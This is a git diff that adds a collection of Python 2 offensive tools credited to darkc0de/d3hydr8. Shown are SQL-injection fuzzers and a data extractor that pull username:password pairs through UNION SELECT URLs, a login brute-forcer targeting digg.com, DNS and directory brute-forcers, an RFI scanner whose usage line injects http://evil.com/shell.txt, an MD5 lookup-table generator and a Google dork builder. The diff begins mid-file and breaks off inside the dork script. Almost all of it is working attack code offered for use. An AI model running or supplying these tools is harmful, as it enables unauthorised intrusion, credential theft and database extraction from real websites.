+                print "Simply copy and paste this link into your browser :) Have fun! Bye :)"
+                print ""
+                print ""
+                sys.exit(1)
+                
+            else:
+                print ">> Ok, bye =)"
+                print ""
+                print ""
+                sys.exit(1)
+                
+        
+        # Increment counter var by one
+        number_of_columns  += 1
+        
+        #Add a new column to the URL
+        final_check_url += next_column
+        final_check_url += column_finder_url_message         
+     
+    # If fuzzing is not successfull print this message 
+    print ">> Fuzzing was not successfull. Maybe the target is not vulnerable?"
+    
+
+# Checking if argument was provided
+if len(sys.argv) <=1:
+    print_usage()
+    sys.exit(1)
+    
+for arg in sys.argv:
+    # Checking if help was called
+    if arg == "--help":
+        print_usage()
+        sys.exit(1)
+    
+    # Checking if  URL was provided, if yes -> go!
+    if arg == "-u":
+        provided_url = sys.argv[2]
+        print_banner()
+        
+        # At first we test if we can actually reach the provided URL
+        test_url()
+        
+        # Now start with finding the correct amount of columns
+        find_columns()
+        
+        print ""
+        print ""
+    
+### EOF ###
diff --git a/3rdparty/comparedb.py b/3rdparty/comparedb.py
new file mode 100644
index 0000000..521c248
--- /dev/null
+++ b/3rdparty/comparedb.py
@@ -0,0 +1,41 @@
+#!/usr/bin/python
+#This will compare 2 lists created from my md5
+#database collector's and remove duplicates 
+#saving to a new database.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import sys, sets
+
+if len(sys.argv) != 4:
+	print "Usage: ./comparedb.py <1st list> <2nd list> <new list>"
+	sys.exit(1)
+	
+print "\n   d3hydr8[at]gmail[dot]com compareDB v1.0"
+print "----------------------------------------------"
+
+try:
+  	list1 = open(sys.argv[1], "r").readlines()
+except(IOError): 
+	print "[-] Error: Check your 1st database file.\n"
+  	sys.exit(1)
+
+try:
+  	list2 = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "[-] Error: Check your 2nd database file.\n"
+  	sys.exit(1)
+  
+new_list = []
+print "\n[+] Loaded:",len(list1)+len(list2),"lines"
+list1.extend(list2)
+for line in list1:
+	new_list.append(line.strip("\n"))
+new_list = list(sets.Set(new_list))
+print "[+] Writing Data:",len(new_list)
+file = open(sys.argv[3], "a")
+for line in new_list:
+	file.writelines(line.strip("\n")+"\n")
+file.close()
+print "\n[+] Done\n"
\ No newline at end of file
diff --git a/3rdparty/cw.py b/3rdparty/cw.py
new file mode 100644
index 0000000..2482948
--- /dev/null
+++ b/3rdparty/cw.py
@@ -0,0 +1,52 @@
+import urlparse            
+import mechanize
+import urllib2
+import random
+
+useragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
+            'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
+            'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
+            'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
+            'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
+            'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
+            'Microsoft Internet Explorer/4.0b1 (Windows 95)',
+            'Opera/8.00 (Windows NT 5.1; U; en)',
+            'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
+            'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
+            'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
+            'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
+            'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
+            'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
+agents = random.choice(useragent)
+url = raw_input("\n\tTarget : ")
+print ""
+def crawler():
+    
+        tarayici = mechanize.Browser()
+        tarayici.set_handle_robots(False)
+        tarayici.addheaders = [('User-agent', agents)]
+
+        urls = [url]
+        gez = [url]
+
+        try: 
+            while len(urls)>0:
+                try:             
+                    tarayici.open(urls[0])
+                    urls.pop(0)
+                    try:
+                        for link in tarayici.links():
+                            yeniurl =  urlparse.urljoin(link.base_url,link.url)
+                            if yeniurl not in gez and url in yeniurl:
+                                gez.append(yeniurl)
+                                urls.append(yeniurl)
+
+                                if "=" in yeniurl:
+                                    print yeniurl
+                    except:
+                        break                     
+                except:
+                    urls.pop(0)
+        except:
+            pass   
+crawler()
diff --git a/3rdparty/d3sqlfuzz.py b/3rdparty/d3sqlfuzz.py
new file mode 100644
index 0000000..765a54e
--- /dev/null
+++ b/3rdparty/d3sqlfuzz.py
@@ -0,0 +1,111 @@
+#!/usr/bin/python
+#SQL Table/Column Fuzz
+
+#How to use this tool:
+#In this script you can test Tables, Columns or
+#Both.
+#
+#For your site argument set TABLE,COLUMN or both for
+#which ever you want to test.
+#Example: 
+#./d3sqlfuzz.py www.site.com/shop.php?id=-1+union+all+select+1,COLUMN,3+from+TABLE--
+#
+#Add the errors you receive to the ERRORS array.
+#
+#Add the tables you want tested to the tables
+#array and the columns to the columns array.
+#
+#You also can add proxy support.
+
+#www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+#Fill in the error or errors your receiving here.
+ERRORS = ["Warning: mysql_fetch_row()","You have an error in your SQL syntax","doesn't exist"]
+#Fill in the tables you want tested here.
+tables = ["user","users","username","usernames","mysql.user","member","members","admin","administrator","administrators","login","logins","logon","userrights","superuser","control","usercontrol","author","autore","artikel","newsletter","tb_user","tb_users","tb_username","tb_usernames","tb_admin","tb_administrator","tb_member","tb_members","tb_login","perdorues","korisnici","webadmin","webadmins","webuser","webusers","webmaster","webmasters","customer","customers","sysuser","sysusers","sysadmin","sysadmins","memberlist","tbluser","tbl_user","tbl_users","a_admin","x_admin","m_admin","adminuser","admin_user","adm","userinfo","user_info","admin_userinfo","userlist","user_list","user_admin","user_login","admin_user","admin_login","login_user","login_users","login_admin","login_admins","sitelogin","site_login","sitelogins","site_logins","SiteLogin","Site_Login","User","Users","Admin","Admins","Login","Logins","adminrights","news","table","tables","perdoruesit"] 
+#Fill in the columns you want tested here.
+columns = ["user","username","password","passwd","pass","id","email","emri","fjalekalimi","pwd","user_name","user_password","name","id","user_pass","admin_user","admin_password","user_pass","admin_pass","usern","user_n","users","login","logins","login_user","login_admin","login_username","user_username","user_login","auid","apwd","adminid","admin_id","adminuser","admin_user","adminuserid","admin_userid","adminusername","admin_username","adminname","admin_name","usr","usr_n","usrname","usr_name","usrpass","usr_pass","usrnam","nc","uid","userid","user_id","myusername","mail","emni","logohu","punonjes","kpro_user","wp_users","emniplote","perdoruesi","perdorimi","punetoret","logini","llogaria","fjalekalimin","kodi","emer","ime","korisnik","korisnici","user1","administrator","administrator_name","mem_login","login_password","login_pass","login_passwd","login_pwd","sifra","lozinka","psw","pass1word","pass_word","passw","pass_w","user_passwd","userpass","userpassword","userpwd","user_pwd","useradmin","user_admin","mypassword","passwrd","admin_pwd","admin_pass","admin_passwd","mem_password","memlogin","userid","admin_id","adminid","e_mail","usrn","u_name","uname","mempassword","mem_pass","mem_passwd","mem_pwd","p_word","pword","p_assword","myusername","myname","my_username","my_name","my_password","my_email"] 
+#Add proxy support: Format  127.0.0.1:8080
+proxy = "None"
+
+import urllib2, sys, re, httplib, socket
+
+def fuzzer(i, x, y):
+	for i in x: 
+		print "[+] Testing:",i
+		opener = urllib2.build_opener(proxy_handler)
+		source = opener.open(site.replace(y,i.replace("\n",""))).read()
+		e = [error for error in ERRORS if re.search(error, source)]
+		if len(e) == 0:
+    		 	print "\n\t[!]",y.capitalize(),"Found:",i,"\n"
+		 	#Uncomment to not test all array
+		 	#sys.exit(1)
+		else:
+			print "[-] Error Received:",e[0]
+			
+def bothfuzz():
+	for table in tables:
+		for column in columns:
+			print "[+] Table:",table,"Column:",column
+			table = table.replace("\n","")
+			column = column.replace("\n","")
+			opener = urllib2.build_opener(proxy_handler)
+			source = opener.open(site.replace("TABLE",table).replace("COLUMN",column)).read()
+			e = [error for error in ERRORS if re.search(error, source)]
+			if len(e) == 0:
+    		 		print "\n\t[!] Combo Found:",table,column,"\n"
+		 		#Uncomment to not test all array
+		 		#sys.exit(1)
+			else:
+				print "[-] Error Received:",e[0]
+			
+	
+if len(sys.argv) != 2:
+	print "\n\tUsage: ./d3sqlfuzz.py <site>"
+	print "\n\tEx: ./d3sqlfuzz.py www.site.com/index.php?id=-1+UNION+ALL+SELECT+1,COLUMN,3+FROM+TABLE--\n"
+	sys.exit(1)
+	
+print "\n\t   d3hydr8[at]gmail[dot]com d3_SQLFuzz v1.1"
+print "\t-----------------------------------------------"
+	
+site = sys.argv[1]
+if site[:7] != "http://":
+	site = "http://"+site
+if site.find("TABLE") == -1 and site.find("COLUMN") == -1:
+	print "\n[-] Site must contain COLUMN or TABLE\n"
+	sys.exit(1)
+	
+try:
+	if proxy != "None":
+		print "\n[+] Testing Proxy..."
+		h2 = httplib.HTTPConnection(proxy)
+		h2.connect()
+		print "[+] Proxy:",proxy
+		print "[+] Building Handler"
+		proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
+	else:
+		print "\n[-] Proxy Not Given"
+		proxy_handler = ""
+except(socket.timeout):
+	print "\n[-] Proxy Timed Out"
+	sys.exit(1)
+except:
+	print "\n[-] Proxy Failed"
+	sys.exit(1)
+
+print "\n[+] Tables Loaded:",len(tables)
+print "[+] Columns Loaded:",len(columns)
+print "[+] Errors Loaded:",len(ERRORS)
+if site.find("TABLE") != -1 and site.find("COLUMN") == -1:
+	print "\n[+] Fuzzing Tables\n"
+	fuzzer("table", tables, "TABLE")
+if site.find("TABLE") == -1 and site.find("COLUMN") != -1:
+	print "\n[+] Fuzzing Columns\n"
+	fuzzer("column", columns, "COLUMN")
+if site.find("TABLE") != -1 and site.find("COLUMN") != -1:
+	print "\n[+] Fuzzing Tables & Columns\n"
+	bothfuzz()
+print "\n[-] Done\n"
+
+
diff --git a/3rdparty/dataext.py b/3rdparty/dataext.py
new file mode 100644
index 0000000..c646596
--- /dev/null
+++ b/3rdparty/dataext.py
@@ -0,0 +1,105 @@
+#!/usr/bin/python 
+#SQL injection data extract
+
+#This script will help extract the data
+#in concat(). Use char(58) as your splitter.
+#Example: concat_ws(char(58),user,pass)
+#Put NUM in the site address for the number
+#to incrament.
+#Example: 
+#www.site.com/news.php?id=-1+union+select+1,concat_ws(char(58),user,pass),3+from+users+limit+NUM,1
+#www.site.com/news.php?id=-1+union+select+1,concat(char(58),email),3+from+users+limit+NUM,1
+ 
+#www.darkc0de.com 
+#d3hydr8[at]gmail[dot]com 
+ 
+#Range of incraments. 
+START = 0
+FINISH = 35
+
+#File to save data.
+FILE_NAME = "database.txt"
+
+#Add proxy support: Format  127.0.0.1:8080
+proxy = "None"
+ 
+import urllib, sys, re, socket, httplib, urllib2
+
+def StripTags(text):
+	finished = 0
+	while not finished:
+		finished  =1
+		start =  text.find("<")
+		if start >= 0:
+			stop = text[start:].find(">")
+			if stop >= 0:
+				text = text[:start] + text[start+stop+1:]
+				finished = 0
+	return text
+			
+print "\n\t   d3hydr8:darkc0de.com SQL/DataExt v1.2"
+print "\t------------------------------------------"
+ 
+if len(sys.argv) != 2: 
+	print "\n\tUsage: ./dataext.py <site>" 
+	print "\n\tEx: ./dataext.py www.site.com/news.php?id=-1+union+select+1,concat_ws(char(58),user,pass),3+from+users+limit+NUM,1\n" 
+	print "\tEx: ./dataext.py www.site.com/news.php?id=-1+union+select+1,concat(char(58),user),3+from+users+limit+NUM,1\n" 
+	sys.exit(1) 
+ 
+site = sys.argv[1] 
+if site[:7] != "http://" and site[:8] != "https://": 
+	site = "http://"+site 
+if site.find("NUM") == -1: 
+	print "\n[-] Site must contain \'NUM\'\n" 
+	sys.exit(1) 
+if site.find("char(58)") == -1: 
+	print "\n[-] Site must contain \'char(58)\'\n" 
+	sys.exit(1)
+site = site.replace("char(58)","char(58,58)")
+	
+try:
+	if proxy != "None":
+		print "\n[+] Testing Proxy..."
+		h2 = httplib.HTTPConnection(proxy)
+		h2.connect()
+		print "[+] Proxy:",proxy
+		print "[+] Building Handler"
+		proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
+	else:
+		print "\n[-] Proxy Not Given"
+		proxy_handler = "None"
+except(socket.timeout):
+	print "\n[-] Proxy Timed Out"
+	sys.exit(1)
+except(), msg:
+	print msg
+	print "\n[-] Proxy Failed"
+	sys.exit(1)
+ 
+file = open(FILE_NAME, "a")
+print "\n[+] Starting Extraction...\n"
+for num in xrange(START,FINISH+1): 
+	num = str(num) 
+	print "[+] Testing:",num 
+	if proxy_handler != "None":
+		opener = urllib2.build_opener(proxy_handler)
+	else:	
+		opener = urllib2.build_opener()
+	source = opener.open(site.replace("NUM",num)).read() 
+	try:
+		match = re.findall("\S+::\S+",StripTags(source))[0]
+		if len(match) >= 1:
+			match = match.split("::")
+			match = match[0]+":"+match[1][:32]
+	except(IndexError):
+		match = re.findall("::\S+",StripTags(source))
+		if len(match) >= 1:
+			match = match[0].split("::")[1]
+		pass
+	if len(match) >= 1:
+		file.writelines(match+"\n")
+		print "[+] Wrote:",match
+	else:
+		print "[-] No Data Found"
+file.close()
+print "\n[-] Done\n"
diff --git a/3rdparty/dbgen.py b/3rdparty/dbgen.py
new file mode 100644
index 0000000..e7db748
--- /dev/null
+++ b/3rdparty/dbgen.py
@@ -0,0 +1,39 @@
+#!/usr/bin/python
+#Takes a wordlist and creates a md5
+#database. Format: word:md5
+
+##http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, md5
+
+def md5gen(word):
+	hash = md5.new(word)
+	return hash.hexdigest()
+	
+if len(sys.argv) != 3:
+	print "\n\tUsage: ./dbgen.py <wordlist> <db_file>"
+	print "\n\tEx: ./dbgen.py wordlist.txt md5db.db\n"
+	sys.exit(1)
+	
+try:
+	words = open(sys.argv[1], "r").readlines()
+	db = open(sys.argv[2], "a")
+except(IOError), msg: 
+ 	print "[-] Error:",msg,"\n" 
+	sys.exit(1)
+print "\n[+] Length:",len(words),"\n"
+for word in words:
+	word = word.replace("\n","")
+	hash = md5gen(word)
+	print word+":"+hash
+	db.writelines(word+":"+hash+"\n")
+print "\n[+] Database Complete\n"
+db.close()
+
+
+
+
+
+
+	
\ No newline at end of file
diff --git a/3rdparty/decoder.py b/3rdparty/decoder.py
new file mode 100644
index 0000000..9e43954
--- /dev/null
+++ b/3rdparty/decoder.py
@@ -0,0 +1,36 @@
+#!/usr/bin/python
+#Decodes a string using Base64. (very basic, just messing around)
+#d3hydr8[at]gmail[dot]com
+import base64, sys
+
+if len(sys.argv) != 2:
+	print "\nUsage: ./decoder.py <file w/ str to decode>\n"
+	sys.exit(1)
+	
+file = sys.argv[1]
+try:
+	i = open(file, "r")
+except(IOError): 
+	print "Check your file path."
+	sys.exit(1)
+lines = i.readlines()
+for line in lines:
+	try:
+		x = base64.b64decode(line[:-1], '-_')
+		print x
+	except(TypeError): 
+		print "\nIncorrect Padding or non-alphabet characters present in the string.\n"
+					
+"""
+
+sh-3.00$ cat wh.txt
+whitehouse.com root password: jackass
+
+sh-3.00$ python encoder.py wh.txt
+d2hpdGVob3VzZS5jb20gcm9vdCBwYXNzd29yZDogamFja2FzcyA=
+
+sh-3.00$ cat wh.txt  #copy and pasted encoded to wh.txt
+d2hpdGVob3VzZS5jb20gcm9vdCBwYXNzd29yZDogamFja2FzcyA=
+
+sh-3.00$ python decoder.py wh.txt
+whitehouse.com root password: jackass """
\ No newline at end of file
diff --git a/3rdparty/diggbf.py b/3rdparty/diggbf.py
new file mode 100644
index 0000000..a932632
--- /dev/null
+++ b/3rdparty/diggbf.py
@@ -0,0 +1,91 @@
+#!/usr/bin/python
+#Digg.com Login BruteForcer
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import urllib2, sys, re, urllib, httplib, socket
+
+print "\n   d3hydr8[at]gmail[dot]com diggBF v1.0"
+print "----------------------------------------------"
+
+if len(sys.argv) not in [3,4,5,6]:
+	print "Usage: ./diggbf.py <user> <wordlist> <options>\n"
+	print "\t   -p/-proxy <host:port> : Add proxy support"
+	print "\t   -v/-verbose : Verbose Mode\n"
+	sys.exit(1)
+	
+for arg in sys.argv[1:]:
+	if arg.lower() == "-p" or arg.lower() == "-proxy":
+		proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+		
+try:
+	if proxy:
+		print "\n[+] Testing Proxy..."
+		h2 = httplib.HTTPConnection(proxy)
+		h2.connect()
+		print "[+] Proxy:",proxy
+except(socket.timeout):
+	print "\n[-] Proxy Timed Out"
+	proxy = 0
+	pass
+except(NameError):
+	print "\n[-] Proxy Not Given"
+	proxy = 0
+	pass
+except:
+	print "\n[-] Proxy Failed"
+	proxy = 0
+	pass
+	
+try:
+	if verbose == 1:
+		print "[+] Verbose Mode On\n"
+except(NameError):
+	print "[-] Verbose Mode Off\n"
+	verbose = 0
+	pass
+	
+host = "http://digg.com/login"
+print "[+] BruteForcing:",host
+print "[+] User:",sys.argv[1]
+
+try:
+  	words = open(sys.argv[2], "r").readlines()
+  	print "[+] Words Loaded:",len(words),"\n"
+except(IOError): 
+  	print "[-] Error: Check your wordlist path\n"
+  	sys.exit(1)
+  
+for word in words:
+	word = word.replace("\r","").replace("\n","")
+	login_form_seq = [
+     	('username', sys.argv[1]),
+     	('password', word),
+     	('persistent', 'on'),
+     	('submit', 'Login'),
+	('processlogin', '1'),
+	('returnpage', '/')]
+	login_form_data = urllib.urlencode(login_form_seq)
+	if proxy != 0:
+		proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
+		opener = urllib2.build_opener(host, proxy_handler)
+	else:
+		opener = urllib2.build_opener(host)
+	try:
+		site = opener.open(host, login_form_data).read()
+	except(urllib2.URLError), msg:
+		print msg
+		site = ""
+		pass
+
+	if re.search("<h3>Whoops!</h3>",site) == None:
+		print "\n\t[!] Login Successfull:",sys.argv[1],word,"\n"
+		sys.exit(1)
+	else:
+		if verbose == 1:
+			print "[-] Login Failed:",word
+print "\n[-] Brute Complete\n"
+	
\ No newline at end of file
diff --git a/3rdparty/dirbuster.py b/3rdparty/dirbuster.py
new file mode 100644
index 0000000..3950935
--- /dev/null
+++ b/3rdparty/dirbuster.py
@@ -0,0 +1,27 @@
+import sys
+import urlparse
+import urllib  
+import mechanize
+from bs4 import BeautifulSoup
+ 
+site = sys.argv[1]
+urls = [site]
+visited = [site]
+ 
+print "Crawling => "+site
+print
+ 
+for url in urls:
+ 
+        html = urllib.urlopen(url).read()
+        soup = BeautifulSoup(html)
+        urls.pop(0)
+ 
+        for a in soup.findAll('a',href=True):
+                a['href'] = urlparse.urljoin(site,a['href'])
+                url = urllib.unquote(a['href']).decode('utf8').replace(" ","+")
+ 
+                if site in url and url not in visited:
+                        urls.append(url)
+                        visited.append(url)
+                        print url
diff --git a/3rdparty/dirbuster2.py b/3rdparty/dirbuster2.py
new file mode 100644
index 0000000..7903a2e
--- /dev/null
+++ b/3rdparty/dirbuster2.py
@@ -0,0 +1,32 @@
+import re, urllib,urllib2, time, httplib, socket, sys, md5, locale
+from urllib2 import Request, urlopen, URLError, HTTPError
+from socket import *
+import threading
+from bs4 import BeautifulSoup
+import urlparse
+import mechanize
+import webbrowser
+import os
+
+
+
+hedef = raw_input("Target : ")
+
+
+url = hedef
+tarayici = mechanize.Browser()
+urls = [url]
+gez = [url]
+
+while len(urls)>0:
+    try:
+        tarayici.open(urls[0])
+        urls.pop(0)
+        for link in tarayici.links():
+            yeniurl =  urlparse.urljoin(link.base_url,link.url)
+            if yeniurl not in gez and url in yeniurl:
+                gez.append(yeniurl)
+                urls.append(yeniurl)
+                print yeniurl
+    except:
+        pass
diff --git a/3rdparty/dirscan.py b/3rdparty/dirscan.py
new file mode 100644
index 0000000..479372f
--- /dev/null
+++ b/3rdparty/dirscan.py
@@ -0,0 +1,52 @@
+#!/usr/bin/python
+#Takes a list of dir paths and tests http response.
+#
+##http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, httplib, socket
+
+def main(path):
+	
+	if path[0] == "/":
+		path = path[1:]
+	h = httplib.HTTP(host[:-1])
+	h.putrequest("HEAD", "/"+path)
+	h.putheader("Host", host)
+	h.endheaders()
+	okresp, reason, headers = h.getreply()
+	return okresp, reason, headers.get("Server")
+
+socket.setdefaulttimeout(15)
+
+print "\n\t   d3hydr8[at]gmail[dot]com DirScan v1.0"
+print "\t-----------------------------------------"
+
+if len(sys.argv) != 3:
+	print "\n\tUsage: ./dirscan.py <host> <path_file>\n"
+	print "\nEx. ./dirscan.py google.com paths.txt\n"
+	sys.exit(1)
+
+try:
+	dirs = open(sys.argv[2], "r").readlines()
+except(IOError): 
+ 	print "[-] Error: Check your file location.\n" 
+	sys.exit(1)
+	
+host = sys.argv[1].replace("http://","")
+if host.count("/") >= 1:
+	host = host.rsplit("/",1)[0]
+if host[-1:] != "/":
+	host =  host+"/"
+
+print "\n[+] Target host:",host
+print "[+] Target server:",main("/")[2]
+print "[+] Paths Loaded:",len(dirs),"\n"
+
+for line in dirs:
+	resp, reason = main(line.replace("\n",""))[:2]
+	print "[+]",line[:-1]," | ",resp,reason
+print "\n[-] Done\n"
+
+
+	
\ No newline at end of file
diff --git a/3rdparty/dnsbrute.py b/3rdparty/dnsbrute.py
new file mode 100644
index 0000000..b36552f
--- /dev/null
+++ b/3rdparty/dnsbrute.py
@@ -0,0 +1,61 @@
+#!usr/bin/python
+#DNS Brute Forcer, uses wordlist to find subdomains.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, socket
+from copy import copy
+
+if len(sys.argv) !=3:
+	print "Usage: ./dnsbrute.py <server> <wordlist>"
+	sys.exit(1)
+
+try:
+  	words = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com dnsBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Server:",sys.argv[1]
+print "[+] Words Loaded:",len(words),"\n"
+
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "Reloading Wordlist\n"
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0]
+		
+class Worker(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			digger = value[:-1]+"."+sys.argv[1]
+			print "Trying:", digger
+			result = socket.getaddrinfo(digger, None, 0, socket.SOCK_STREAM)
+			print "\n\t\tWorked:",[x[4][0] for x in result][0]," Hostname:",digger
+		except(socket.gaierror), msg: 
+			pass
+ 
+for i in range(len(words)):
+	work = Worker()
+	work.start()
+	time.sleep(1)
diff --git a/3rdparty/dorkscan.py b/3rdparty/dorkscan.py
new file mode 100644
index 0000000..a218312
--- /dev/null
+++ b/3rdparty/dorkscan.py
@@ -0,0 +1,101 @@
+#!/usr/bin/python
+#DorkScan v1.0 takes a list of known RFI vuln. paths and
+#checks the http response. I called it dorkscan because
+#the list I use comes from a list of dorks.
+
+#http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, httplib, time, re
+
+def getserv(path):
+
+	try:
+		h = httplib.HTTP(host)
+		h.putrequest("HEAD", path)
+		h.putheader("Host", host)
+		h.endheaders()
+		status, reason, headers = h.getreply()
+	except: 
+		print "\n[-] Error: Name or service not known. Check your host.\n"
+		sys.exit(1)
+	return status, reason, headers.get("Server")
+
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com DorkScan v1.0"
+	print "\t----------------------------------------------"
+
+if len(sys.argv) != 4:
+	title()
+	print "\n\t[+] Usage: ./dorkscan.py <site> <list> <shell>\n"
+	print "\t[+] Option: -verbose"
+	print "\t[+] Ex. ./dorkscan.py example.com dorks.txt http://evil.com/shell.txt -verbose\n"
+	sys.exit(1)
+
+title()
+host = sys.argv[1]
+lst = sys.argv[2]
+shell = sys.argv[3]
+
+for arg in sys.argv[1:]:
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+	else:
+		verbose = 0
+
+if host[:7] == "http://":
+	host = host.replace("http://","")
+if host[-1] == "/":
+	host = host[:-1]
+	
+print "[+] Getting responses" 
+okresp,reason,server = getserv("/")
+badresp = getserv("/d3hydr8.html")[:1]
+
+if okresp == badresp[0]:
+	print "\n[-] Responses matched, try another host.\n"
+	sys.exit(1)
+else:
+	print "\n[+] Target host:",host
+	print "[+] Target shell:",shell
+	print "[+] Target server:",server
+	print "[+] Target OK response:",okresp
+	print "[+] Target BAD response:",badresp[0], reason
+	print "[+] Scan Started at",timer()
+	if verbose ==1:
+		print "\n[+] Verbose Mode On"
+
+try:
+	lines = open(lst, "r").readlines()
+	print "\n[+]",len(lines),"dorks loaded\n"
+except(IOError): 
+ 	print "[-] Error: Check your dorks list path\n"
+	sys.exit(1)
+
+vulns = []
+print "[+] Scanning...\n" 
+for line in lines:
+	if line[0] != "/":
+		line = "/"+line
+	status, reason = getserv(re.sub("\s","",line[:-1]+shell))[:2]
+	if verbose ==1:
+		print "[+]",status,reason,":",line[:-1],"\n"
+	if status == okresp:
+		vulns.append(line)
+		print "\t[!]",status,reason,":",line[:-1],"\n"
+	if status == int(401):
+		print "\t--",status,reason,":Needs Authentication [",line[:-1],"]\n"
+		
+if len(vulns) == 0:
+	print "[-] Couldn't find any vuln. paths\n"
+else:
+	print "[!] Found",len(vulns),"possible vulnerabilities, check manually.\n"
+	for vuln in vulns:
+		print "\t[+] ",vuln
+print "\n[+] Scan completed at", timer(),"\n"
+
+	
\ No newline at end of file
diff --git a/3rdparty/dorkster.py b/3rdparty/dorkster.py
new file mode 100644
index 0000000..cbdad37
--- /dev/null
+++ b/3rdparty/dorkster.py
@@ -0,0 +1,130 @@
+#!/usr/bin/python
+#Google Dork creator/verifier
+#http://darkcode.ath.cx
+#d3hydr8[at]gmail[dot]com
+
+import re, urllib2, sys, time, sets
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com Dorkster v1.0"
+	print "\t-----------------------------------------------"
+	
+def usage():
+	title()
+	print "\n  Usage: python dorkster.py <option>\n"
+	print "\n  Example: python dorkster.py -a phpBB -f login.php -verbose\n"
+	print "\t[options]"
+	print "\t   -a/-app <application> : Web app you want to search for."
+	print "\t   -f/-file <file> : File you want to search for."	
+	print "\t   -v/-verbose : Lists the first 10 sites and unsuccessful dorks"
+
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def StripTags(text):
+     finished = 0
+     while not finished:
+         finished = 1
+         start = text.find("<")
+         if start >= 0:
+             stop = text[start:].find(">")
+             if stop >= 0:
+                 text = text[:start] + text[start+stop+1:]
+                 finished = 0
+     return text
+
+def gethits(dork):
+	
+	url = 'http://www.google.com/search?hl=en&q='+re.sub("\s","+",dork)+'&hl=en&lr=&start=10&sa=N'
+	opener = urllib2.build_opener(url)
+	opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
+	data = opener.open(url).read()
+	hits = re.findall('of about <b>[\d+,]*<',data)
+	hosts = re.findall(('www\.[\w\.\-/]*\.\w+'),StripTags(data))
+	if len(hits) >=1:
+		hits = hits[0].split(">",1)[1].replace("<","")
+		print "\n[+] Dork:",dork
+		print "\tHits:",hits
+		hosts = list(sets.Set(hosts))
+		if verbose == 1 and len(hosts) >=1:
+			for host in hosts[:10]:
+				print "\t\t[-]",host
+	else:
+		if verbose == 1:
+			print "\n[-] Dork:",dork
+
+if len(sys.argv) <= 2:
+	usage()
+	sys.exit(1)
+else:
+	title()
+print "[+] Dorkster_Loaded"
+for arg in sys.argv[1:]:
+	if arg.lower() == "-a" or arg.lower() == "-app":
+		app = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-f" or arg.lower() == "-file":
+		vfile = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+try:
+	if app:
+		print "[+] Application:",app
+except(NameError):
+	app = None
+	pass	
+try:
+	if vfile:
+		print "[+] Vulnerable File:",vfile
+except(NameError):
+	vfile = None
+	pass
+try:
+	if verbose ==1:
+		print "[+] Verbose Mode On"
+except(NameError):
+	verbose = 0
+	print "[-] Verbose Mode Off"
+print "[+] Started:",timer(),"\n"
+try:
+	dorks_both = ["filetype:"+vfile.rsplit(".",1)[1]+" intext:"+app, 
+			"intitle:"+app+" ext:"+vfile.rsplit(".",1)[1],
+			"intitle:"+app+" inurl:"+vfile,
+			app+" inurl:"+vfile,
+			"inurl:"+vfile+ "intext:"+app,
+			"intitle:"+app+" allinurl:"+vfile]
+except(NameError, AttributeError, TypeError):
+	pass
+try:
+	vfile_dorks = ["inurl:"+vfile+" filetype:"+vfile.rsplit(".",1)[1],
+				"inurl:"+vfile,
+				"allinurl:"+vfile]
+except(NameError, AttributeError, TypeError):
+	pass
+try:
+	app_dorks = ["Powered by "+app,
+				"intitle:"+app,
+				"allintitle:"+app,
+				"\""+app+"\" intitle:index.of",
+				"allintext:\""+app+"\"",
+				"intitle:"+app+" intitle:login"]
+except(NameError, AttributeError, TypeError):
+	pass
+
+if vfile != None and app != None:
+	for dork in dorks_both:
+		gethits(dork)
+if app != None:
+	for dork in app_dorks:
